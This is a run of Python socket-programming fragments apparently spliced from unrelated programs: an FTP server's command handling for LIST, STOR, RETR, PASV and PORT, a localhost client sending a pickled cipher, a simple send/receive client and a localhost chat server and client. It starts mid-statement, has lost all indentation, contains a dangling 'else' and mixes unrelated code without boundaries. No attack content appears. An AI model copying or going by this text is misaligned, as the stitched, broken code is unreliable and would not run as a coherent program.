"An unrecognized device with address {address} attempts to connect. Drop data connection"
.format(address=address[0]))
dataSocket.close(
) # drop the connection if the client's ip address doesn't match
return
except Exception as e:
l.log_(str(e))
try:
socket_.send(
bytes('425 No connection was established.\r\n', 'ascii'))
l.log("Sent", "425 No connection was established.")
except Exception as err:
l.log_(str(err))
return
message = "Open a connection on port {port} in PASV mode for data transfer".format(
port=dataPort)
l.log_(message)
# get the next command that client types in, this command must be either LIST, STOR, or RETR
receivedCommand = recv_timeout(socket_, l)
l.log("Received", receivedCommand)
receivedCommand = receivedCommand.split(" ", 1)
if receivedCommand[0] == "LIST":
if len(receivedCommand) <= 2:
path = ""
if len(receivedCommand
) == 1: # if no path specified, use the current directory
path = "."
elif len(receivedCommand) == 2:
path = receivedCommand[1]
doList(socket_, clientDataSocket, l, path)
else:
socket_.send(
bytes('501 Syntax error in parameters or argument.\r\n',
'ascii'))
l.log("Sent", "501 Syntax error in parameters or argument.")
elif receivedCommand[0] == "STOR":
if len(receivedCommand) == 2: # STOR must have 2 arguments
path = receivedCommand[1]
doSTOR(socket_, clientDataSocket, l, path)
else:
socket_.send(
bytes('501 Syntax error in parameters or argument.\r\n',
'ascii'))
l.log("Sent", "501 Syntax error in parameters or argument.")
elif receivedCommand[0] == "RETR":
if len(receivedCommand) == 2: # RETR must have 2 arguments
path = receivedCommand[1]
doRETR(socket_, clientDataSocket, l, path)
else:
socket_.send(
bytes('501 Syntax error in parameters or argument.\r\n',
'ascii'))
l.log("Sent", "501 Syntax error in parameters or argument.\r\n")
else:
try:
socket.send(bytes('500 Unknown command.\r\n', 'ascii'))
l.log("Sent", "500 Unknown command.")
except:
pass
dataSocket.close() # after data transfer completes, close the data socket
def doOtherCommands(socket, serverAddr, clientAddr, port, l, configs):
receivedMessage = recv_timeout(socket, l)
l.log("Received", receivedMessage)
receivedMessage = receivedMessage.split(" ", 1)
while receivedMessage[0] != "QUIT": # process the
if receivedMessage[0] == "CWD":
if len(receivedMessage) < 2:
socket.send(
bytes('550 Failed to change directory.\r\n', 'ascii'))
l.log("Sent", "550 Failed to change directory.")
else:
doCWD(socket, l, receivedMessage[1])
elif receivedMessage[0] == "CDUP":
doCDUP(socket, l)
elif receivedMessage[0] == "PASV":
if configs["pasv_mode"] == "NO":
socket.send(
bytes(
'500 Passive mode is restricted. Use active mode instead.\r\n',
'ascii'))
l.log(
"Sent",
"500 Passive mode is restricted. Use active mode instead.")
else:
doPASV(socket, l, serverAddr, clientAddr, port)
elif receivedMessage[0] == "EPSV":
if configs["epsv_mode"] == "NO":
socket.send(
bytes(
'500 Passive mode is restricted. Use active mode instead.\r\n',
'ascii'))
l.log(
"Sent",
"500 Passive mode is restricted. Use active mode instead.")
else:
doEPSV(socket, l)
elif receivedMessage[0] == "PORT":
if configs["port_mode"] == "NO":
socket.send(
bytes(
'500 Active mode is restricted. Use passive mode instead.\r\n',
'ascii'))
l.log(
"Sent",
"500 Active mode is restricted. Use passive mode instead.")
else:
doPORT(socket, l, serverAddr, receivedMessage)
elif receivedMessage[0] == "EPRT":
if configs["eprt_mode"] == "NO":
socket.send(
bytes(
'500 Active mode is restricted. Use passive mode instead.\r\n',
'ascii'))
l.log(
"Sent",
"500 Active mode is restricted. Use passive mode instead.")
else:
doEPRT(socket, l)
elif receivedMessage[0] == "RETR": # must be called after PASV or PORT
socket.send(bytes('425 Use PORT or PASV first.\r\n', 'ascii'))
l.log("Sent", "425 Use PORT or PASV first.")
elif receivedMessage[0] == "STOR": # must be called after PASV or PORT
socket.send(bytes('425 Use PORT or PASV first.\r\n', 'ascii'))
l.log("Sent", "425 Use PORT or PASV first.")
elif receivedMessage[0] == "PWD":
doPWD(socket, l)
elif receivedMessage[0] == "SYST":
doSYST(socket, l)
elif receivedMessage[0] == "LIST": # must be called after PASV or PORT
socket.send(bytes('425 Use PORT or PASV first.\r\n', 'ascii'))
l.log("Sent", "425 Use PORT or PASV first.")
elif receivedMessage[0] == "HELP":
cmdName = ''
if len(receivedMessage) > 1:
cmdName = receivedMessage[1]
doHelp(socket, l, cmdName)
elif receivedMessage[0] == "":
pass
else:
try:
socket.send(bytes('500 Unknown command.\r\n', 'ascii'))
l.log("Sent", "500 Unknown command.")
except:
break
receivedMessage = recv_timeout(socket, l)
l.log("Received", receivedMessage)
receivedMessage = receivedMessage.split(" ")
doQuit(socket, l)
return
import socket
import pickle
from cryptosystem.run import getCipher
socket = socket.socket()
host = '127.0.0.1'
port = 17041
socket.connect((host, port))
msg = input('Enter your message to be sent to the Server: ')
(cipher, keyMatrix) = getCipher(msg)
data = [cipher, keyMatrix]
data = pickle.dumps(data)
socket.send(data)
socket.close()
def doEPRT(socket, l):
socket.send(bytes('502 Command not implemented.\r\n', 'ascii'))
l.log("Sent", "502 Command not implemented.")
import socket
import sys
with socket.socket() as socket:
ip = sys.argv[1]
port = int(sys.argv[2])
message = sys.argv[3]
address = (ip, port)
socket.connect(address)
message = message.encode()
socket.send(message)
response = socket.recv(1024)
response = response.decode()
print(response)
def sendMsgToAllSockets(self, msg):
"""send the messages encoded to all the connected sockets """
for socket in self.connectedSocketList:
socket.send(msg)
def sendJSON(socket, data):
msg = json.dumps(data).encode('utf8')
total = 0
while total < len(msg):
sent = socket.send(msg[total:])
total += sent
if 'client' in sys.argv:
MODE = 'client'
else:
MODE = 'server'
else:
# Clients can only talk in an interactive shell
MODE = 'server'
if MODE == 'server':
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 42069))
server.listen()
print("Entering Server loop")
while True:
(client, addr) = server.accept()
client.send("Hello! You've connected to the server".encode())
response = client.recv(100).decode()
print(f'Response ({addr}) - {response}\n')
if MODE == 'client':
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect(('localhost', 42069))
server_msg = socket.recv(100).decode()
print(server_msg)
client_msg = input('>>> ')
socket.send(client_msg[:100].encode())
socket.close()
